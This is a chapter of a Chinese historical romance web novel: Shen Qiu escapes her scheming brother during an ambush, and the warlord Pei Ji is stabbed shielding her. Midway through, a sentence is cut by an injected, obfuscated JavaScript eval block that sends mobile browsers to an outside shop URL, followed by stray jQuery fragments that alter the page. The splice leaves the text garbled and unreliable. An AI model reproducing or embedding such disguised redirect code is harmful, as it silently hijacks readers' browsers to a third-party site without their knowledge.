31. 第 31 章
    “你放心,哥哥断不会让你香消玉殒。”沈易安目光在沈秋身上来回打量,“秋儿妹妹果真是生得一副好颜色,竟能令李二郎对你一见倾心,为了得到你,他甘愿拱手送出七成的皮草粮食。”

    沈秋冷哼一声,美眸中满是鄙夷,“你果真是我的好哥哥,竟又盘算着将我送人?你休想!”声音陡然拔高,身子猛地朝车厢门口翻滚而去。

    沈易安从容不迫,只因眼前之人被牢牢绑着,且车厢外尚有同伴守卫,料想她断无逃走之机。

    岂料异变陡生,马车猛然剧烈晃动,紧接着一声凄厉嘶鸣响起,马儿似是遭受了极大惊吓,疯狂挣扎起来。

    “嗖”的一声,一支利箭破空而来,势如破竹般冲破车厢,深深刺进车厢内壁,而那位置,正是沈秋方才所坐之处。

    沈秋心中一阵后怕,倘若自己未曾更换位置,此刻只怕已然命丧黄泉。

    利箭之上沾染着斑斑血渍,随后便听到“噗通”一声闷响,重物落地之声自车厢外传至。

    紧接着,又是几支利箭射来,沈秋吓得不敢动弹,唯有紧紧贴伏于地。

    沈易安眸色阴冷如冰,身形一闪,从车厢内翻跃而出。

    驾车的两人一死一伤,死去之人已从疯狂疾驰的马车上坠落下去,仅余一人苦苦支撑。

    “究竟发生何事?”沈易安侧身躲过疾射而来的箭矢,眼中闪过一丝惶恐。

    “应是山匪。”

    话音刚落,风沙骤起,群马嘶鸣之声此起彼伏,漫天黄沙卷起千层巨浪,朝着二人滚滚而来。

    趁着沈易安离开车厢之机,沈秋使出浑身力气,将插进内壁的箭矢拔下,折断箭身,巧用箭头割断绳索。

    好在沈易安对她防范之心并不甚重,亦或是根本瞧不上她,故而捆绑之时并未全力以赴。

    倘若将沈秋双手绑于身后,她可就难以施为了。

    “各位好汉,有话好好说。要多少钱尽管开口,莫要为难我等。”沈易安不愿暴露身份,如今敌众我寡,心想若是能破财免灾,那自然是再好不过。

    然而那些山匪对他的话充耳不闻,为首的男人猖狂大笑,态度戏谑至极,“老子要了你的命,你的东西便全是老子的!”

    同伴扫视一眼面前这群土匪,在沈易安耳畔小声嘀咕道:“这些人看着不像土匪,倒像是杀手。”

    几乎是转瞬间,对方已将他们团团围住。

    “如何是好?”敌方人数众多,即便他与沈易安有通天彻地之能,也难以以一敌十。

    “撤!”沈易安当机立断。

    “那沈秋呢?”同伴显然没料到,沈易安竟打算舍弃自己的妹妹。

    沈易安眼神闪烁,“且看她的造化吧。”

    说着,二人同时砍断马上与车厢连接的缰绳,边战边退。恰在此时,却见远处一队挂有西北王标志的军士策马而来,为首之人正是裴寂。

    自得知有人要对沈秋不利的消息,裴寂便带人匆匆赶来。

    想起晋王世子的话,裴寂似乎对沈秋另眼相看,沈易安心念一动,“带上沈秋,发信号给世子殿下。”

    这可是个除掉裴寂的绝佳机会。

    失去了马儿的拖拽,车厢失去平衡,摇晃着侧翻在地,不多时便静止不动。

    沈秋被摔得头晕目眩,挣扎着从车厢中爬出,抬眼便瞧见一双黑色鹿皮靴现于眼前。

    未及反应,身子忽地一轻,整个人已被带上马背。

    “放我下去!”沈秋断不相信沈易安会好心救她。

    “妹妹莫闹,我是你哥哥,岂会眼睁睁看着你被山匪掳去。”沈易安言辞恳切,然沈秋却觉其中有异。

    此人方才分明欲弃她而去。

    沈易安为带走沈秋,特意择了小道而行,四周皆是树林,进可攻退可守,且有晋王世子接应。

    身后山匪步步逼近,就在山匪自以为胜券在握之际,蓦地从树林中窜出一伙训练有素的死士。

    不过片刻,便将山匪杀得片甲不留。

    裴寂赶至此处,除却满地血腥,只见沈易安挟持着沈秋步入林中。

    “王爷,前方有埋伏。”前去探路的斥候回禀林中之况。

    对此等埋伏,裴寂并未放在心上,可他断不能让沈秋出事。一思及她可能深陷危险,他的心便似被生生掏空一般。

    裴寂敛去眼底阴戾,迅速拟定计划。

    好在此次跟随之人皆是玄甲营精英,即便对上对方死士亦不落下风。

    众人领命,纷纷进入战斗状态。

    晋王世子万没料到,裴寂所带之队竟是玄甲营精英。正当他坐等裴寂入瓮之时,身后陡然传来一声惨叫。

    不知何时,竟有人绕至身后,双方瞬间陷入激战。

    沈易安劫持着沈秋,刀锋架于沈秋脖颈处,厉声威胁:“不愧是西北王,用兵如神。不过,你若想她死,便尽管动手!且看是你的人快,还是我的刀快。”

    “无人能威胁本王!”裴寂手持连弩,箭尖直指沈易安,目光却牢牢落在沈秋身上。

    “你竟为了这样一个狼心狗肺的哥哥逃离本王?”

    沈秋沉默不语。虽离开兹城并非她本意,但此事根本无需向裴寂解释。

    “世人皆道西北王裴寂不近女色,杀伐果断,如今看来,亦是英雄难过美人关呐。”沈易安嘲讽一笑,对自己这个不甚聪明的妹妹倒是多了几分看法。

    “哥哥真打算杀了我?”沈秋一双噙着水雾的桃花眼中满是悲伤,控诉着沈易安的无情。

    “哥哥以前便是有一块馍都要给我留着的,如今为何变了这么多?”

    沈秋之言,令沈易安刹那失神。遥想往昔,他亦非不爱这个妹妹。

    然就在其失神之际,裴寂手指轻扣扳机,连弩如闪电般疾射而出。

    首箭精准射中沈易安手腕,一声惨叫骤起,沈易安手中短刀铿锵落地。

    此时,沈易安方觉沈秋脸上哪还有半分慕儒之情,分明是冷漠如视陌生人般的疏离与无情。

    虽他素来不重这个妹妹,但被她摆了一道,当下恼羞成怒,正欲下死手之际,却忽感腹部一凉。

    尖锐痛感瞬间袭遍全身,沈易安难以置信地低头看去,只见一支无箭身的箭头赫然插在腹部。

    这箭头,是沈秋割断绳子所用,当时她也未多想,便将其

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13931322|145056||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    带在身上,权当防身之器。

    趁此间隙,沈秋拔腿奔向裴寂。

    在沈易安与裴寂之间,她自当择对己无甚威胁的裴寂。

    然而,沈秋冲来之时,一把匕首悄然飞来,隐匿于其后。

    裴寂下意识将沈秋揽入怀中,按着她的脑袋,紧贴自己心口,随即抱着她迅速转身。

    本可躲开,裴寂却硬是受了这一刀。

    成风和玄一守在裴寂身旁,见王爷本已躲开却又挪回,二人皆是神色复杂。

    噗嗤!

    裴寂一声闷哼,随后便听到成风大喊:“保护王爷。”

    似觉此言分量不足,又添一句:“王爷受重伤了!”

    玄一:“……”

    原本激战正酣的玄甲营士兵迅速后撤,结成防护阵型。

    无需裴寂下令,一部分人负责拦截拖延,成风和玄一则掩护裴寂与沈秋离去。

    沈秋摸到一手粘稠鲜血,心中百味杂陈。“王爷你受伤了?”

    这个冷酷无情且强迫过她的男人,竟会为她挡刀。

    “无事,莫怕,我们先离开此地。”匕首深深刺入他的后背,那画面甚是可怖,青色锦袍被鲜血浸染得一片殷红。

    裴寂纵身跃上他的专属坐骑,将沈秋带到身前,迅速撤出树林。

    身后死士紧追不舍,以命换命的刺杀方式,死死拖住玄甲营的士兵。

    沈秋不知后面是否还有追兵,只瞧见裴寂的脸色愈发苍白,显然是失血过多所致。

    带着自己,他的危险无疑更大。

    “裴寂,你将我放下吧,你一人定能跑得更快些。”

    如此一来,她也能寻个地方暂且隐藏,伺机离开此处。

    下一瞬,她的身子被男人紧紧压入怀中,对方声音低沉,压抑不住的戾气翻涌,“我不惧被他们追上,大不了我们一同赴死!但我怕你跑了。”

    “……”沈秋一整个无语,大可不必。

    一路奔波,待一行人回到兹城王府门前时,裴寂因失血过多,脸色惨白如纸。然而,他仍是强撑着将沈秋抱下马。

    以一种紧张而又极为珍视的目光,小心翼翼地将她前后左右都检查了一遍,“可有何处受伤?”

    成风:“……”

    王爷,受伤的明明是您啊!

    玄一:“……”

    未曾想有生之年,竟能见到王爷露出如此不值钱的模样。

    “我无事,你赶紧去看大夫吧,我便不随你进王府了。”沈秋思虑再三,还是觉得不应再有所牵扯。

    裴寂心中又酸又涩,犹如被遗弃的大狗一般,“本王为你受此伤,你竟如此无情地将本王踹开吗?”

    “我不想再入王府……”沈秋好不容易才出了王府,对于再度回去,心中甚是抵触。

    “那我便去你居所,你断不可弃我不顾!”裴寂死皮赖脸地紧紧抓着沈秋的手腕,大有她不允便绝不放手之势。

    “……行吧。”此等无赖之态,当真还是那风光霁月、冷漠无情之西北王裴寂?

    沈秋虽不愿再与裴寂有过多纠葛,却也绝非忘恩负义之人。何况,他确是因己而伤。